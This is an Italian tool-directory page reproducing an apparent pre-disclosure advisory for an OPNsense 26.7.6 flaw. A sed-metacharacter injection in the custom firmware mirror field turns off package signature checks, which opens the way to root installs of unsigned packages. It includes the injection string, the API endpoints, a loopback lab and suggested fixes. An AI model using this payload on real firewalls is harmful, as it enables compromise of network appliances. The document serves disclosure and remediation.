Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
opnsense-firmware-mirror-sed — OPNsense 26.7.6 - Alta - Remota - Privilegi residui - mirror firmware personalizzato sed-salta le impronte pkg | Kitploit
Strumenti/GitHubGitHub/abraxas/opnsense-firmware-mirror-sed
Escalation di PrivilegiAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebVirtualizzazione per la SicurezzaPenetration TestingSicurezza della Supply Chain

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Paper e Ricerca
Lab e Pratica
GitHubabraxas/opnsense-firmware-mirror-sed

opnsense-firmware-mirror-sed

OPNsense 26.7.6 - Alta - Remota - Privilegi residui - mirror firmware personalizzato sed-salta le impronte pkg

Vedi Repository
14 giorni faNon ancora revisionato

Abraxas Labs - opnsense-firmware-mirror-sed

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  opnsense-firmware-mirror-sed

opnsense-firmware-mirror-sed

Classe: Salto della firma Portata: Remota

OPNsense core 26.7.6 (a842fe48) - opnsense.org

Sistema: Firmware set invia POST con un mirror / flavour personalizzato. Il core FILTER_SANITIZE_URL mantiene \|#;". opnsense-update -m / -n interpola quella stringa in sed su OPNsense.conf e può commutare signature_type da "fingerprints" a "none". Poi pkg install come root dall'URL dell'attaccante. La pagina delle impostazioni offre un mirror personalizzato di pacchetti OPNsense ancora firmati. Non ha un controllo "disabilita firme". Il privilegio è page-system-firmware-manualupdate, non page-all.

Sed risiede in opnsense-update, fuori dal pin. Il core su questo pin è il campo non sanificato più il passaggio -m. Il laboratorio riesegue quel testo di programma s||| con GNU sed.

Questo pacchetto GitHub resta privato fino alla divulgazione coordinata.

IDnessuna CVE al momento
ClasseSalto della firma
PortataRemota (WebGUI / API autenticata)
CWECWE-74 / CWE-347
CVSSAlto: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
ProdottoOPNsense core
Affetto26.7.6 (a842fe48c21288d11a422cb944678e8eb308becf) Firmware set mirror personalizzato
AuthSessione WebGUI o chiave API con page-system-firmware-manualupdate
LicenzaGNU Affero GPL v3.0
Labsolo 127.0.0.1

Ho fissato il tag 26.7.6 peel a842fe48. Il laboratorio è un gadget PHP di FILTER_SANITIZE_URL più il sed mod_mirrorurl di opnsense-update, HTTP su loopback 127.0.0.1:18860. PR:H perché alla pagina del firmware è già consentito installare pacchetti firmati. Punteggio 8.8 se quella pagina è trattata come PR:L.

Cosa può fare un attaccante

MetodoSinkPrivilegio
FILTER_SANITIZE_URL su un mirror personalizzato con | poi sed in stile opnsense-updateriscrittura di OPNsense.confIntegrità (dimostrata in lab): signature_type "none". Il mirror di controllo resta "fingerprints". Lab: sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes.
Stesso set, campo pluginssetAction scarta pluginsNegativo (dimostrato in lab): plugins scartati prima del salvataggio.
Poi POST /api/core/firmware/install/<pkg>pkg install -y come root dall'URL dell'attaccanteIntegrità (inferita): pacchetto non firmato come root. La pagina del firmware installa già pacchetti firmati; questo residuo è il salto della verifica. Nessun payload non firmato nel lab.
Poi POST /api/core/firmware/update o /upgradeopnsense-update -pt / -u come rootIntegrità (inferita): set base/kernel con verifica saltata (DO_INSECURE).
GET /api/core/firmware/info, /running, /upgradestatusAPI firmwareRicognizione (inferita): elenchi pacchetti, log di aggiornamento, opzioni mirror. Previsto per questa ACL.
POST /api/core/firmware/reboot, /poweroff, /remove/<pkg>azioni firmware configdDisponibilità (inferita): reboot/halt/remove. Previsto per questa ACL, non per il residuo.

Dimostrato in lab vs inferito: sanitize mantiene | e signature_type none sono SUCCESSO in lab. pkg install live di un pacchetto non firmato è inferito. Gadget, non una VM OPNsense FreeBSD completa. Nessun payload di pacchetto non firmato.

Richiede: utente autenticato o la chiave API Locale di quell'utente con page-system-firmware-manualupdate e senza page-all. CSRF su POST di sessione. Non non-autenticato. Non solo dashboard.

Superficie adiacente che resta chiusa

SuperficieLab
Firmware non autenticato401
Solo dashboard403
Mirror di controllo https://pkg.opnsense.orgsignature_type resta "fingerprints"
Traversal nel nome del pluginfilter_pkgname
Recupero changelogancora opnsense-verify
user-config-readonly su save()throwReadOnly()
Mirror HTTP standard senza salto della verificaMITM sul trasporto; fingerprints ancora richiesti
Firmware XMLRPCsolo stringhe di versione

Nessun non autenticato. Nessun solo dashboard. Changelog ancora firmato.

Lab

cd lab
./run.sh

Loopback 127.0.0.1:18860. Progetto Compose opnsense-firmware-mirror-sed. Witness OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS. Ultima riga:

SUCCESS opnsense-firmware-mirror-sed sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS

Launcher root: python3 opnsense-firmware-mirror-sed-Abraxas-Labs.py.

Forma del mirror d'attacco usata nel lab (solo witness, nessun pkg non firmato):

https://example.invalid/|;/signature_type/s/"fingerprints"/"none"/;#

La correzione

Rifiutare un mirror personalizzato che non sia un URL. Rimuovere i metacaratteri di sed (|, ;, #, ") prima di opnsense-update -m / -n, oppure passare l'URL come file in modo che sed non lo veda mai come testo di programma. Mantenere signature_type: "fingerprints" a meno che un controllo separato e verificato disattivi la verifica. Non permettere che Firmware set riscriva i fingerprints a "none".

Riferimenti

  • github.com/opnsense/core a842fe48c21288d11a422cb944678e8eb308becf
  • FirmwareController.php setAction FILTER_SANITIZE_URL
  • scripts/firmware/repos/OPNsense.php opnsense-update -sd -m
  • OPNsense.conf.shadow.in stock signature_type: "fingerprints"
  • Sink fuori dal pin: opnsense-update mod_mirrorurl (s\|\| sulla riga url:)
  • CWE-74 / CWE-347
Scarica lo strumento